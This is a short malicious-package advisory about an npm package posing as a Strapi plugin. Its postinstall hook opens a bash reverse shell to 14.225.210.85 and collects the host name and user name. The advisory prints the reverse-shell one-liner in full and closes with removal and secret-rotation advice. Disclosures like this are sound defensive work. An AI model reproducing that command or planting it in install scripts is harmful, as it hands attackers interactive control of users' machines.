Official description
[email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form
bash -i >& /dev/tcp/14.225.210.85/80 0>&1 and exec's it via child_process, with retry logic, giving the operator of 14.225.210.85 interactive command execution on the installer's host. Alongside the shell, the script collects os.hostname() and os.userInfo().username to identify the compromised machine. The package presents itself as a Strapi plugin but its install-time behavior is unrelated to any plugin function.What should I do about MAL-2026-16230?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
